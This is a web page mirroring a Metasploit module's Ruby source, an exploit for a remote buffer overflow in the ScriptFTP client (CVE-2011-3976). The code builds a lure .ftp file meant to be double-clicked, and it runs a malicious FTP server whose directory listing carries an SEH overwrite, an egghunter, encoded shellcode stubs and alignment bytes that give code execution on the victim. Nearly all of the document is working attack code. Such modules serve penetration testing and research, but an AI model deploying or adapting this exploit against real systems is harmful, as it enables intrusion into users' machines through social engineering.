CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/scriptftp_list.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::FtpServer
10
include Msf::Exploit::FILEFORMAT
11
include Msf::Exploit::Egghunter
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'ScriptFTP LIST Remote Buffer Overflow',
16
'Description' => %q{
17
AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow
18
vulnerability that is triggered when processing a sufficiently long
19
filename during a FTP LIST command resulting in overwriting the
20
exception handler. Social engineering of executing a specially crafted
21
ftp file by double click will result in connecting to our malicious
22
server and perform arbitrary code execution which allows the attacker to
23
gain the same rights as the user running ScriptFTP. This vulnerability
24
affects versions 3.3 and earlier.
25
},
26
'License' => MSF_LICENSE,
27
'Author' =>
28
[
29
'modpr0be', #Vulnerability discovery and original exploit
30
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
31
'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module
32
],
33
'References' =>
34
[
35
[ 'CVE', '2011-3976' ],
36
[ 'OSVDB', '75633' ],
37
[ 'EDB', '17876' ],
38
[ 'US-CERT-VU', '440219' ]
39
],
40
'DefaultOptions' =>
41
{
42
'EXITFUNC' => 'thread',
43
'DisablePayloadHandler' => false
44
},
45
'Payload' =>
46
{
47
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
48
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
49
'EncoderOptions' =>
50
{
51
'BufferRegister' => 'EDI', # Egghunter jmp edi
52
}
53
},
54
'Platform' => 'win',
55
'Targets' =>
56
[
57
# CALL DWORD PTR SS:[EBP-4]
58
# scriptftp.exe - File version=Build 3/9/2009
59
[ 'Windows XP SP3 / Windows Vista', { 'Offset' => 1746, 'Ret' => "\xd6\x41" } ],
60
],
61
'Privileged' => false,
62
'DisclosureDate' => '2011-10-12',
63
'DefaultTarget' => 0))
64
65
register_options(
66
[
67
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ftp']),
68
])
69
70
end
71
72
def setup
73
if datastore['SRVHOST'] == '0.0.0.0'
74
lhost = Rex::Socket.source_address('50.50.50.50')
75
else
76
lhost = datastore['SRVHOST']
77
end
78
79
ftp_file = "OPENHOST('#{lhost}','ftp','ftp')\r\n"
80
ftp_file << "SETPASSIVE(ENABLED)\r\n"
81
ftp_file << "GETLIST($list,REMOTE_FILES)\r\n"
82
ftp_file << "CLOSEHOST\r\n"
83
84
print_status("Creating '#{datastore['FILENAME']}'...")
85
file_create(ftp_file)
86
super
87
end
88
89
90
def on_client_unknown_command(c,cmd,arg)
91
c.put("200 OK\r\n")
92
end
93
94
def on_client_command_list(c,arg)
95
96
conn = establish_data_connection(c)
97
if(not conn)
98
c.put("425 Can't build data connection\r\n")
99
return
100
end
101
102
print_status(" - Data connection set up")
103
code = 150
104
c.put("#{code} Here comes the directory listing.\r\n")
105
106
code = 226
107
c.put("#{code} Directory send ok.\r\n")
108
109
eggoptions =
110
{
111
:checksum => false,
112
:eggtag => 'cure'
113
}
114
115
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
116
117
# Encode with alphamixed, then unicode mixed
118
[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
119
enc = framework.encoders.create(name)
120
if name =~ /unicode/
121
# aligned to ESP & EAX
122
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
123
else
124
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
125
end
126
# NOTE: we already eliminated badchars
127
hunter = enc.encode(hunter, nil, nil, platform)
128
if name =~/alpha/
129
#insert getpc_stub & align EDX, unicode encoder friendly.
130
#Hardcoded stub is not an issue here because it gets encoded anyway
131
getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
132
hunter = getpc_stub + hunter
133
end
134
}
135
136
unicode_nop = "\x6d" # DD BYTE PTR DS:[ECX],AL
137
138
nseh = "\x61" << unicode_nop
139
seh = target.ret
140
141
alignment = "\x54" # PUSH ESP
142
alignment << unicode_nop
143
alignment << "\x58" # POP EAX
144
alignment << unicode_nop
145
alignment << "\x05\x12\x11" # ADD EAX,11001200
146
alignment << unicode_nop
147
alignment << "\x2d\x01\x01" # SUB EAX,1000100
148
alignment << unicode_nop
149
alignment << "\x2d\x01\x10" # SUB EAX,10000100
150
alignment << unicode_nop
151
alignment << "\x50" # PUSH EAX
152
alignment << unicode_nop
153
alignment << "\xc3" # RETN
154
155
buffer = rand_text_alpha(656)
156
buffer << hunter
157
buffer << rand_text_alpha(target['Offset']-buffer.length)
158
buffer << nseh
159
buffer << seh
160
buffer << alignment
161
buffer << rand_text_alpha(500)
162
buffer << egg
163
164
print_status(" - Sending directory list via data connection")
165
dirlist = "-rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"
166
dirlist << " 5 ftpuser ftpusers 512 Jul 26 2001 A\r\n"
167
dirlist << "rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"
168
169
conn.put(dirlist)
170
conn.close
171
return
172
end
173
end
174
175